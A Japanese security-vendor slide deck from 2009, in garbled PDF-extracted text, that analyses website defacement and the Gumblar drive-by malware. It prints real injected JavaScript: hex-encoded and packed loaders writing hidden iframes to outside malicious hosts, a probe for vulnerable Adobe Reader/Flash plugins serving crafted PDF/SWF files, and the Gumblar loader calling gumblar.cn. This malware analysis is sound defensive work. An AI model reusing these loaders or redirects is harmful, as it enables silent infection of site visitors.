ウェブ改ざんはこうして起こる その攻撃手法の解説 2009年11月 株式会社セキュアブレイン 星澤 裕二 神薗 雅紀 1 アジェンダ 不正コンテンツへの最新の誘導テクニック 難読化されたコードのinjectによる誘導 SEOや多段ネットワークを利用した誘導 複合型 フィッシング・ワンクリック 最新の不正サイト検知技術 まとめ 謝辞 この発表の一部は「平成20年度NICT委託研究」にて実施したものである 2 不正コンテンツへの最新の誘導テクニック 3 不正コンテンツへの最新の誘導テクニック ‐難読化されたコードのinjectによる誘導 ‐SEOや多段ネットワークを利用した誘導 ‐複合型 ‐フィッシング・ワンクリック 4 解読しにくい関数を利用したサイト(1/2) JavaScriptの JavaScriptの関数や 関数や変数名を 変数名を理解しにくい 理解しにくい名前 しにくい名前にしている 名前にしている 改ざん( ざん(inject) inject)コードはpack コードはpackなどにより packなどにより難読化 などにより難読化されており 難読化されており、 されており、検知や 検知や解析を 解析を困難と 困難と する 改ざん(inject)コード <script> function v4a8a200c53307(v4a8a200c536fb){ return(parseInt(v4a8a200c536fb,16)); } function v4a8a200c542e3(v4a8a200c546d9){ var v4a8a200c552d1=2; var v4a8a200c54ad1=''; for(v4a8a200c54eda=0; v4a8a200c54eda<v4a8a200c546d9.length; v4a8a200c54eda+=v4a8a200c552d1){ v4a8a200c54ad1+=(String.fromCharCode(v4a8a200c53307(v4a8a200c546d9.substr(v4a8a200c54eda, v4a8a200c552d1)))); } return v4a8a200c54ad1; } document.write(v4a8a200c542e3('3C696672616D65206E616D653D273861386527207372633D27687474703A2F2F7777772E676F6F647374756666 726576696577732E636F6D2F77702D696E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7369643D31272077696474683D313633206865 696768743D3635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E')); </script> 5 解読しにくい関数を利用したサイト(2/2) packされたコードを packされたコードをunpack されたコードをunpackすることで unpackすることで、 することで、挙動を 挙動を解析 unpackした unpackした結果 した結果を 結果を関数( 関数(function) function)が処理する 処理する 改ざん(inject)コード <script> function v4a8a200c53307(v4a8a200c536fb){ return(parseInt(v4a8a200c536fb,16)); } function v4a8a200c542e3(v4a8a200c546d9){ var v4a8a200c552d1=2; var v4a8a200c54ad1=''; for(v4a8a200c54eda=0; v4a8a200c54eda<v4a8a200c546d9.length; v4a8a200c54eda+=v4a8a200c552d1){ v4a8a200c54ad1+=(String.fromCharCode(v4a8a200c53307(v4a8a200c546d9.substr(v4a8a200c54eda, v4a8a200c552d1)))); } return v4a8a200c54ad1;} document.write(v4a8a200c542e3('3C696672616D65206E616D653D273861386527207372633D27687474703A2F2F7777772E676F6F647374756666 726576696577732E636F6D2F77702D696E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7369643D31272077696474683D313633206865 696768743D3635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E')); 難読化の解除結果 //document.write <iframe name='8a8e' src='http://www.goodstuffreviews.com/wp-includes/pomo/koo/go.php?sid=1' width=163 height=65 style='display:none'></iframe> 6 解読しにくい関数を利用したサイト(2/2) packされたコードを packされたコードをunpack されたコードをunpackすることで unpackすることで、 することで、挙動を 挙動を解析 unpackした unpackした結果 した結果を 結果を関数( 関数(function) function)が処理する 処理する 改ざん(inject)コード <script> function v4a8a200c53307(v4a8a200c536fb){ return(parseInt(v4a8a200c536fb,16)); } function v4a8a200c542e3(v4a8a200c546d9){ var v4a8a200c552d1=2; var v4a8a200c54ad1=''; <iframe name='8a8e' src='http://www.goodstuffreviews.com/wpv4a8a200c54ad1+=(String.fromCharCode(v4a8a200c53307(v4a8a200c546d9.substr(v4a8a200c54eda, v4a8a200c552d1)))); } includes/pomo/koo/go.php?sid=1' width=163 height=65 return v4a8a200c54ad1;} document.write(v4a8a200c542e3('3C696672616D65206E616D653D273861386527207372633D27687474703A2F2F7777772E676F6F647374756666 style='display:none'></iframe> for(v4a8a200c54eda=0; v4a8a200c54eda<v4a8a200c546d9.length; v4a8a200c54eda+=v4a8a200c552d1){ 726576696577732E636F6D2F77702D696E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7369643D31272077696474683D313633206865 696768743D3635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E')); 難読化の解除結果 //document.write <iframe name='8a8e' src='http://www.goodstuffreviews.com/wp-includes/pomo/koo/go.php?sid=1' width=163 height=65 style='display:none'></iframe> 7 特殊なpackerを利用した改ざんコード(1/3) Dean Edwards packer というpacker というpackerを packerを使ってpack ってpackしている packしている Deam Edwards Packer URL:http://dean.edwards.name/packer/ Dean Edwards packerは packerは正規のサイトでも 正規のサイトでも利用 のサイトでも利用されている 利用されている 何度も 何度も解読しなければ 解読しなければ難読化 しなければ難読化が 難読化が解けない 改ざん(inject)コード <script> function Rvqkfgu(R07yuw10){ window.execScript(R07yuw10); } Rvqkfgu(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Stri ng)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'¥¥w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('¥¥b'+e(c)+'¥¥b','g'),k[c])}}return p}('1k(1l(¥'%v%B%n%k%g%h%m%n%0%z%X%1c%q%1e%R%f%1i%2%1%j%5%D%j%5%3%v%m%9%2%l%12%M%K%v%J%Y%T%17%0%u%0%S%L%0%l%R%E%I%K%A%o%S%0% u%0%s%s%t%0%l%12%M%K%v%J%Y%T%17%0%13%u%0%S%1d%t%0%l%12%M%K%v%J%Y%T%17%F%F%1%j%5%3%D%j%…U%1%5%3%3%D%5%3%3%3%x%m%k%B%y%4% n%g%r%H%9%h%g%4%2%i%13%h%v%9%f%y%4%0%w%9%k%u%s%k%f%k%l%4%p%v%q%f%w%l%r%w%H%v%s%16%13%p%h%v%9%f%y%4%16%i%1%t%5%3%3%C%5%3%C%5 %3%k%f%g%k%l%2%4%1%D%C%5%C%5%12%g%x%1j%f%o%2%1%t¥'));',62,87,'u0020|u0029|u0028|u0009|u0065|u000a|u007c|u005e|u0021|u0072|u0026|u0023 |u005c|u0040|u0024|u0061|u0074|u0069|u0027|u000d|u0063|u0068|u006f|u006e|u0070|u002f|u006c|u002e|u0022|u003b|u003d|u0066|u0073|u0064|u0 06d|u0078|u0050|u0075|u007d|u007b|u004f|u002b|u0067|u0077|u0053|u0062|u0058|u002c|u007a|u0076|u0041|u0030|u006b|u004d|u0032|u0044|u006 a|u0046|u004e|u0043|u0045|u003a|u0059|u0079|u004a|u003c|u0033|u0048|u003e|u004c|u0039|u0031|u005b|u0049|u0051|u0036|u0047|u0035|u0038| u005d|u0052|u0037|Rvqkfgu|unescape|u003f|u0056|u0034'.split('|'),0,{})) </script> 8 特殊なpackerを利用した改ざんコード(1/3) Dean Edwards packer というpacker というpackerを packerを使ってpack ってpackしている packしている Deam Edwards Packer URL:http://dean.edwards.name/packer/ Dean Edwards packerは packerは正規のサイトでも 正規のサイトでも利用 のサイトでも利用されている 利用されている 何度も 何度も解読しなければ 解読しなければ難読化 しなければ難読化が 難読化が解けない 改ざん(inject)コード <script> function Rvqkfgu(R07yuw10){ window.execScript(R07yuw10); } Rvqkfgu(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Stri ng)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'¥¥w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('¥¥b'+e(c)+'¥¥b','g'),k[c])}}return p}('1k(1l(¥'%v%B%n%k%g%h%m%n%0%z%X%1c%q%1e%R%f%1i%2%1%j%5%D%j%5%3%v%m%9%2%l%12%M%K%v%J%Y%T%17%0%u%0%S%L%0%l%R%E%I%K%A%o%S%0% u%0%s%s%t%0%l%12%M%K%v%J%Y%T%17%0%13%u%0%S%1d%t%0%l%12%M%K%v%J%Y%T%17%F%F%1%j%5%3%D%j%…U%1%5%3%3%D%5%3%3%3%x%m%k%B%y%4% n%g%r%H%9%h%g%4%2%i%13%h%v%9%f%y%4%0%w%9%k%u%s%k%f%k%l%4%p%v%q%f%w%l%r%w%H%v%s%16%13%p%h%v%9%f%y%4%16%i%1%t%5%3%3%C%5%3%C%5 %3%k%f%g%k%l%2%4%1%D%C%5%C%5%12%g%x%1j%f%o%2%1%t¥'));',62,87,'u0020|u0029|u0028|u0009|u0065|u000a|u007c|u005e|u0021|u0072|u0026|u0023 |u005c|u0040|u0024|u0061|u0074|u0069|u0027|u000d|u0063|u0068|u006f|u006e|u0070|u002f|u006c|u002e|u0022|u003b|u003d|u0066|u0073|u0064|u0 06d|u0078|u0050|u0075|u007d|u007b|u004f|u002b|u0067|u0077|u0053|u0062|u0058|u002c|u007a|u0076|u0041|u0030|u006b|u004d|u0032|u0044|u006 a|u0046|u004e|u0043|u0045|u003a|u0059|u0079|u004a|u003c|u0033|u0048|u003e|u004c|u0039|u0031|u005b|u0049|u0051|u0036|u0047|u0035|u0038| u005d|u0052|u0037|Rvqkfgu|unescape|u003f|u0056|u0034'.split('|'),0,{})) function(p,a,c,k,e,d) </script> 9 特殊なpackerを利用した改ざんコード(2/3) Dean Edwards packer というpacker というpackerを packerを使ってpack ってpackしている packしている Deam Edwards Packer URL:http://dean.edwards.name/packer/ Dean Edwards packer正規 packer正規のサイトでも 正規のサイトでも利用 のサイトでも利用されている 利用されている 何度も 何度も解読しなければ 解読しなければ難読化 しなければ難読化が 難読化が解けない unpack後のコード vqkfgu(unescape('%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u0078%u0043%u0051%u006 for(hJzXfbEDL = 2, hMOSXPp2 = ""; hJzXfbEDL <= 26; hJzXfbEDL++) { hMOSXPp2 = String.fromCharCode(65 + hJzXfbEDL); var nx3HAOxmh = new Image(); nx3HAOxmh.src = “res://” + hMOSXPp2 + “:¥¥” + ‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’) + “¥¥” + 10 特殊なpackerを利用した改ざんコード(2/3) Dean Edwards packer というpacker というpackerを packerを使ってpack ってpackしている packしている Deam Edwards Packer URL:http://dean.edwards.name/packer/ Dean Edwards packer正規 packer正規のサイトでも 正規のサイトでも利用 のサイトでも利用されている 利用されている 何度も 何度も解読しなければ 解読しなければ難読化 しなければ難読化が 難読化が解けない unpack後のコード vqkfgu(unescape('%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u0078%u0043%u0051%u006 for(hJzXfbEDL = 2, hMOSXPp2 = ""; hJzXfbEDL <= 26; hJzXfbEDL++) { replace関数などにより、unpackして hMOSXPp2 = String.fromCharCode(65 + hJzXfbEDL); も元々のコードが難読化されている var nx3HAOxmh = new Image(); nx3HAOxmh.src = “res://” + hMOSXPp2 + “:¥¥” + ‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’) + “¥¥” + 11 特殊なpackerを利用した改ざんコード(3/3) Dean Edwards packer というpacker というpackerを packerを使ってpack ってpackしている packしている Deam Edwards Packer URL:http://dean.edwards.name/packer/ Dean Edwards packer正規 packer正規のサイトでも 正規のサイトでも利用 のサイトでも利用されている 利用されている 何度も 何度も解読しなければ 解読しなければ難読化 しなければ難読化が 難読化が解けない 難読化の解除結果 function Jtd7ap(){ PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl"); for(i in PDF){ try{ obj = new ActiveXObject(PDF[i]); if (obj){document.write('<iframe src="cache/readme.pdf"></iframe>'); } }catch(e){} }try{ obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); if (obj){document.write('<iframe src="cache/flash.swf"></iframe>');} }catch(e){} }Jtd7ap(); 12 特殊なpackerを利用した改ざんコード(3/3) Dean Edwards packer というpacker というpackerを packerを使ってpack ってpackしている packしている Deam Edwards Packer URL:http://dean.edwards.name/packer/ Dean Edwards packer正規 packer正規のサイトでも 正規のサイトでも利用 のサイトでも利用されている 利用されている 何度も 何度も解読しなければ 解読しなければ難読化 しなければ難読化が 難読化が解けない 難読化の解除結果 function Jtd7ap(){ PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl"); for(i in PDF){ try{ obj = new ActiveXObject(PDF[i]); if (obj){document.write('<iframe src="cache/readme.pdf"></iframe>'); } }catch(e){} }try{ iframeダグに「 cache/readme.pdf 」が設定され、細工 if (obj){document.write('<iframe src="cache/flash.swf"></iframe>');} をしたPDFやFlashコンテンツを使って、脆弱性のある }catch(e){} }Jtd7ap(); Adobe ReaderやFlashがインストールされたユーザー のPCに侵入するする obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); 13 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](1/3) Gumblar 通称Gumblar 通称Gumblarウイルス Gumblarウイルス ウェブブラウザを開 ウェブブラウザを開くだけで感染 くだけで感染する 感染する" する"ドライブバイダウンロード(drive ドライブバイダウンロード(drive by download)"型 download)"型 感染するとユーザーが 感染するとユーザーが使用 するとユーザーが使用している 使用しているFTP しているFTPサーバーの FTPサーバーのID サーバーのIDやパスワードを IDやパスワードを盗 やパスワードを盗む ユーザーのWeb ユーザーのWebページに Webページに悪意 ページに悪意のスクリプトを 悪意のスクリプトを埋 のスクリプトを埋め込む Adobe Reader/Acrobatや Reader/AcrobatやFlash Playerの Playerの脆弱性を 脆弱性を悪用して 悪用して、 して、感染する 感染する亜種 する亜種が 亜種が存在する 存在する 2009年 2009年4月、PC通販 PC通販サイト 通販サイト「 サイト「GENO」 GENO」が被害 2009年 2009年5月19日 19日、JPCERT/CC注意喚起 JPCERT/CC注意喚起 JavaScriptが JavaScriptが埋め込まれるWeb まれるWebサイトの Webサイトの改 サイトの改ざんに関 ざんに関する注意喚起 する注意喚起 http://www.jpcert.or.jp/at/2009/at090010.txt)) (http://www.jpcert.or.jp/at/2009/at090010.txt 14 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](2/3) Gumblar 感染環境 攻撃者ウェブサイト 攻撃者ウェブサイト: ウェブサイト:不正な 不正なPDFや PDFやFlashおよび Flashおよび、 および、Gumblarウイルスがアップロードされている Gumblarウイルスがアップロードされている 脆弱性のある 脆弱性のあるAdobe のあるAdobe Readerや ReaderやFlashがインストールされたユーザーの FlashがインストールされたユーザーのPC がインストールされたユーザーのPCが PCが侵入される 侵入される ユーザPC ユーザPCに PCに侵入後、 侵入後、Gumblarが Gumblarが感染する 感染する 誘導ウェブサイト 誘導ウェブサイト: ウェブサイト:攻撃者ウェブサイトへ 攻撃者ウェブサイトへ誘導 ウェブサイトへ誘導する 誘導する難読化 する難読化されたスクリプトコードがインジェクトされて 難読化されたスクリプトコードがインジェクトされて いる 収集した 収集したFTP したFTPサーバの FTPサーバのID サーバのID・パスワードを ID・パスワードを使 ・パスワードを使い、利用者が 利用者が運営する 運営する正規 する正規ウェブサイトに 正規ウェブサイトに難読 ウェブサイトに難読 攻撃者ウェブサイト 攻撃者 ウェブサイト されたスクリプトコードをインジェクトされる。 化されたスクリプトコードをインジェクトされる 。 誘導ウェブサイト 誘導ウェブサイト 閲覧者 15 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](2/3) Gumblar 感染環境 攻撃者ウェブサイト 攻撃者ウェブサイト: ウェブサイト:不正な 不正なPDFや PDFやFlashおよび Flashおよび、 および、Gumblarウイルスがアップロードされている Gumblarウイルスがアップロードされている 脆弱性のある 脆弱性のあるAdobe のあるAdobe Readerや ReaderやFlashがインストールされたユーザーの FlashがインストールされたユーザーのPC がインストールされたユーザーのPCが PCが侵入される 侵入される ユーザPC ユーザPCに PCに侵入後、 侵入後、Gumblarが Gumblarが感染する 感染する 誘導ウェブサイト 誘導ウェブサイト: ウェブサイト:攻撃者ウェブサイトへ 攻撃者ウェブサイトへ誘導 ウェブサイトへ誘導する 誘導する難読化 する難読化されたスクリプトコードがインジェクトされて 難読化されたスクリプトコードがインジェクトされて いる 収集した 収集したFTP したFTPサーバの FTPサーバのID サーバのID・パスワードを ID・パスワードを使 ・パスワードを使い、利用者が 利用者が運営する 運営する正規 する正規ウェブサイトに 正規ウェブサイトに難読 ウェブサイトに難読 脆弱性のあるAdobe Readerや 攻撃者ウェブサイト 攻撃者 ウェブサイト されたスクリプトコードをインジェクトされる。 化されたスクリプトコードをインジェクトされる 。 Flashがインストールされたユー ザーのPCへ侵入 攻撃者ウェブサイトへ誘導 Gumblarウイルスをダウンロードお よび実行(感染) 誘導ウェブサイト 誘導ウェブサイト 16 正規のウェブサイトにアクセス 閲覧者 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](2/3) Gumblar 感染環境 攻撃者ウェブサイト 攻撃者ウェブサイト: ウェブサイト:不正な 不正なPDFや PDFやFlashおよび Flashおよび、 および、Gumblarウイルスがアップロードされている Gumblarウイルスがアップロードされている 脆弱性のある 脆弱性のあるAdobe のあるAdobe Readerや ReaderやFlashがインストールされたユーザーの FlashがインストールされたユーザーのPC がインストールされたユーザーのPCが PCが侵入される 侵入される ユーザPC ユーザPCに PCに侵入後、 侵入後、Gumblarが Gumblarが感染する 感染する 誘導ウェブサイト 誘導ウェブサイト: ウェブサイト:攻撃者ウェブサイトへ 攻撃者ウェブサイトへ誘導 ウェブサイトへ誘導する 誘導する難読化 する難読化されたスクリプトコードがインジェクトされて 難読化されたスクリプトコードがインジェクトされて いる 取得したID・パスワードを使って 収集した が運営する 収集したFTP したFTPサーバの FTPサーバのID サーバのID・パスワードを ID・パスワードを使 ・パスワードを使い、利用者が 利用者 運営する正規 する正規ウェブサイトに 正規ウェブサイトに難読 ウェブサイトに難読 ウェブサイトを改ざん 攻撃者ウェブサイト 攻撃者 ウェブサイト されたスクリプトコードをインジェクトされる。 化されたスクリプトコードをインジェクトされる 。 誘導ウェブサイト 誘導ウェブサイト 閲覧者が管理するウェブサイトに FTPアクセス(ID・パスワード) ID・パスワードを盗み、送付 gumblar 閲覧者 17 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](2/3) Gumblar 感染環境 攻撃者ウェブサイト 攻撃者ウェブサイト: ウェブサイト:不正な 不正なPDFや PDFやFlashおよび Flashおよび、 および、Gumblarウイルスがアップロードされている Gumblarウイルスがアップロードされている 脆弱性のある 脆弱性のあるAdobe のあるAdobe Readerや ReaderやFlashがインストールされたユーザーの FlashがインストールされたユーザーのPC がインストールされたユーザーのPCが PCが侵入される 侵入される ユーザPC ユーザPCに PCに侵入後、 侵入後、Gumblarが Gumblarが感染する 感染する 誘導ウェブサイト 誘導ウェブサイト: ウェブサイト:攻撃者ウェブサイトへ 攻撃者ウェブサイトへ誘導 ウェブサイトへ誘導する 誘導する難読化 する難読化されたスクリプトコードがインジェクトされて 難読化されたスクリプトコードがインジェクトされて いる 感染サイト拡大 取得したID・パスワードを使って 収集した が運営する 収集したFTP したFTPサーバの FTPサーバのID サーバのID・パスワードを ID・パスワードを使 ・パスワードを使い、利用者が 利用者 運営する正規 する正規ウェブサイトに 正規ウェブサイトに難読 ウェブサイトに難読 ウェブサイトを改ざん 攻撃者ウェブサイト 攻撃者 ウェブサイト されたスクリプトコードをインジェクトされる。 化されたスクリプトコードをインジェクトされる 。 誘導ウェブサイト 誘導ウェブサイト 閲覧者が管理するウェブサイトに FTPアクセス(ID・パスワード) ID・パスワードを盗み、送付 gumblar 閲覧者 18 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](2/3) Gumblar 感染環境 攻撃者ウェブサイト 攻撃者ウェブサイト: ウェブサイト:不正な 不正なPDFや PDFやFlashおよび Flashおよび、 および、Gumblarウイルスがアップロードされている Gumblarウイルスがアップロードされている 脆弱性のある 脆弱性のあるAdobe のあるAdobe Readerや ReaderやFlashがインストールされたユーザーの FlashがインストールされたユーザーのPC がインストールされたユーザーのPCが PCが侵入される 侵入される ユーザPC ユーザPCに PCに侵入後、 侵入後、Gumblarが Gumblarが感染する 感染する 誘導ウェブサイト 誘導ウェブサイト: ウェブサイト:攻撃者ウェブサイトへ 攻撃者ウェブサイトへ誘導 ウェブサイトへ誘導する 誘導する難読化 する難読化されたスクリプトコードがインジェクトされて 難読化されたスクリプトコードがインジェクトされて いる 感染サイト拡大 収集した 収集したFTP したFTPサーバの FTPサーバのID サーバのID・パスワードを ID・パスワードを使 ・パスワードを使い、利用者が 利用者が運営する 運営する正規 する正規ウェブサイトに 正規ウェブサイトに難読 ウェブサイトに難読 攻撃者ウェブサイト 攻撃者 ウェブサイト されたスクリプトコードをインジェクトされる。 化されたスクリプトコードをインジェクトされる 。 誘導ウェブサイト 誘導ウェブサイト 閲覧者 19 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](3/3) Gumblar 難読化されたコードを 難読化されたコードを解除 されたコードを解除することで 解除することで、 することで、挙動を 挙動を解析 改ざん(inject)コード </script></HEAD> … xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion()"2b"22"2c"6a"3d"22"22"2cu"3dnaviga"74"6f"72"2euserAgent"3bi"66 … vE201=xXs.replace(/"/g,x8fk);eval(unescape(vE201))})();--></script> 難読化の解除結果 var a="ScriptEngine",b="Version()+",j=“”,u=navigator.userAgent; if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))) { zrvzts="A"; eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;"); document.write("<script src=//gumblar.cn/rss/?id="+j+"><¥/script>"); } if(window.ScriptEngine) j=j+ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion()+j; <script src=//gumblar.cn/rss/?id=> 20 Webサイト改ざんによる不正サイトへの誘導[Gumblar Gumblar](3/3) Gumblar 難読化されたコードを 難読化されたコードを解除 されたコードを解除することで 解除することで、 することで、挙動を 挙動を解析 改ざん(inject)コード </script></HEAD> … xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion()"2b"22"2c"6a"3d"22"22"2cu"3dnaviga"74"6f"72"2euserAgent"3bi"66 … vE201=xXs.replace(/"/g,x8fk);eval(unescape(vE201))})();--></script> scriptダグに「//gumblar.cn/rss/?id=“j”が 設定され自動的に悪意のサイトにアクセス var a="ScriptEngine",b="Version()+",j=“”,u=navigator.userAgent; 難読化の解除結果 if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))) { zrvzts="A"; eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;"); document.write("<script src=//gumblar.cn/rss/?id="+j+"><¥/script>"); } if(window.ScriptEngine) j:使用されているscriptの情報を取得 j=j+ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion()+j; <script src=//gumblar.cn/rss/?id=> 21 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(1/5) 誘導手法 2009年 2009年10月 10月に急速に 急速に感染拡大を 感染拡大を検知 2009年 2009年5月に一時期流行し 一時期流行し、その後沈静化 その後沈静化していたのが その時に収集された 収集されたFTP 後沈静化していたのが、 していたのが、その時 されたFTPアカウ FTPアカウ ントを使 って、 手法で 活動を ントを 使って 、違う手法 で活動 を開始 「Gumblarウイルス Gumblarウイルス」 ウイルス」により改 により改ざん被害 ざん被害を 被害を受けたウェブサイト299 けたウェブサイト299件 299件について再度調査 について再度調査[※1] 再度調査[※1] 124件 41.5%) のウェブサイトで、 たな手法 手法により により再度 再度ウェブサイトが ウェブサイトが改 を行ったところ 、124 件(41.5% )のウェブサイトで 、新たな 手法 により 再度 ウェブサイトが 改 ざんされていることを確認 確認。 ざんされていることを 確認 。 改ざん被害 ざん被害を 被害を受けたウェブサイトの 内、23件 23件(18.5% )が「co.jp」 co.jp」ドメインを持 ドメインを持つ、日本の 日本の企 われるウェブサイト。 また、「 、「ne.jp ne.jp」 ドメインを持 つウェブサイトは18 18件 14.5%)、 業と思われるウェブサイト 。また 、「 ne.jp 」ドメインを 持つウェブサイトは 18 件(14.5% )、 「 or.jp」 イトは9 7.3%)、「 )、「jp jp」 ドメインを持 つウェブサイトは29 29件 23.4%)。 or.jp 」を持つウェブサ イトは 9件(7.3% )、「 jp 」ドメインを 持つウェブサイトは 29 件(23.4% )。 [※1]弊社による独自の調査結果 (セキュアブレインが、「Gumblarウイルス」と類似した新たな攻撃手法を確認 以前に感染したウェブサイトの1/3以上が再び改ざん被害に) http://www.securebrain.co.jp/about/news/2009/10/gred-gumbler.html 22 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(2/5) 誘導手法 ウイルス感染 ウイルス感染を 感染を拡大させるために 拡大させるために、 させるために、ウェブサイトに2 ウェブサイトに2つの機能 つの機能を 機能を持たせる Group1 Group1:ウイルスに感染 ウイルスに感染させる 感染させる機能 させる機能 - 悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルがアップロードされている 難読化されたスクリプトファイルがアップロードされている Group2 Group2:ダウンロードおよび実行 ダウンロードおよび実行させる 実行させる機能 させる機能 - Group Group1 1のスクリプトファイルを自動的 のスクリプトファイルを自動的にダウンロードおよび 自動的にダウンロードおよび実行 にダウンロードおよび実行する 実行する難読化 する難読化されていない 難読化されていないHTML されていないHTMLコ HTMLコ ードがインジェクトされている 何らかの条件 らかの条件を 条件を満たさなければ不正 たさなければ不正コンテンツがダウンロードされない 不正コンテンツがダウンロードされない 脆弱性のあるAdobe Readerや Flashがインストールされたユー ザーのPCへ侵入後、ウイルスをダ ウンロードおよび実行(感染) Group1 Group 1 upload 攻撃者 Group2 Group2 inject 自動的に悪意のある難読 化されたスクリプトファイル がアップロードされたウェブ サイトにアクセス 閲覧者 23 正規のウェブサイトにアクセス 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(2/5) 誘導手法 ウイルス感染 ウイルス感染を 感染を拡大させるために 拡大させるために、 させるために、ウェブサイトに2 ウェブサイトに2つの機能 つの機能を 機能を持たせる Group1 Group1:ウイルスに感染 ウイルスに感染させる 感染させる機能 させる機能 - 悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルがアップロードされている 難読化されたスクリプトファイルがアップロードされている Group2 Group2:ダウンロードおよび実行 ダウンロードおよび実行させる 実行させる機能 させる機能 - Group Group1 1のスクリプトファイルを自動的 のスクリプトファイルを自動的にダウンロードおよび 自動的にダウンロードおよび実行 にダウンロードおよび実行する 実行する難読化 する難読化されていない 難読化されていないHTML されていないHTMLコ HTMLコ ードがインジェクトされている 何らかの条件 らかの条件を 条件を満たさなければ不正 たさなければ不正コンテンツがダウンロードされない 不正コンテンツがダウンロードされない Group1 Group 1 upload 攻撃者 Group2 Group2 inject 閲覧者 24 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(2/5) 誘導手法 ウイルス感染 ウイルス感染を 感染を拡大させるために 拡大させるために、 させるために、ウェブサイトに2 ウェブサイトに2つの機能 つの機能を 機能を持たせる Group1 Group1:ウイルスに感染 ウイルスに感染させる 感染させる機能 させる機能 - 悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルがアップロードされている 難読化されたスクリプトファイルがアップロードされている Group2 Group2:ダウンロードおよび実行 ダウンロードおよび実行させる 実行させる機能 させる機能 - Group Group1 1のスクリプトファイルを自動的 のスクリプトファイルを自動的にダウンロードおよび 自動的にダウンロードおよび実行 にダウンロードおよび実行する 実行する難読化 する難読化されていない 難読化されていないHTML されていないHTMLコ HTMLコ ードがインジェクトされている 何らかの条件 らかの条件を 条件を満たさなければ不正 たさなければ不正コンテンツがダウンロードされない 不正コンテンツがダウンロードされない Group1 Group 1 upload 感染サイト拡大 攻撃者 Group2 Group2 inject 閲覧者 25 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(2/5) 誘導手法 ウイルス感染 ウイルス感染を 感染を拡大させるために 拡大させるために、 させるために、ウェブサイトに2 ウェブサイトに2つの機能 つの機能を 機能を持たせる Group1 Group1:ウイルスに感染 ウイルスに感染させる 感染させる機能 させる機能 - 悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルがアップロードされている 難読化されたスクリプトファイルがアップロードされている Group2 Group2:ダウンロードおよび実行 ダウンロードおよび実行させる 実行させる機能 させる機能 - Group Group1 1のスクリプトファイルを自動的 のスクリプトファイルを自動的にダウンロードおよび 自動的にダウンロードおよび実行 にダウンロードおよび実行する 実行する難読化 する難読化されていない 難読化されていないHTML されていないHTMLコ HTMLコ ードがインジェクトされている 何らかの条件 らかの条件を 条件を満たさなければ不正 たさなければ不正コンテンツがダウンロードされない 不正コンテンツがダウンロードされない Group1 Group 1 upload 感染サイト拡大 攻撃者 Group2 Group2 inject 閲覧者 26 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(3/5) 誘導手法 Group1 Group1:悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルをアップロードされたウェブサイト 難読化されたスクリプトファイルをアップロードされたウェブサイト 27 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(3/5) 誘導手法 Group1 Group1:悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルをアップロードされたウェブサイト 難読化されたスクリプトファイルをアップロードされたウェブサイト <アップロードされたファイル> ①データフォルダ(s/) 感染や管理に使うファイル ②難読化された悪意のスクリプトファイル(***.php) 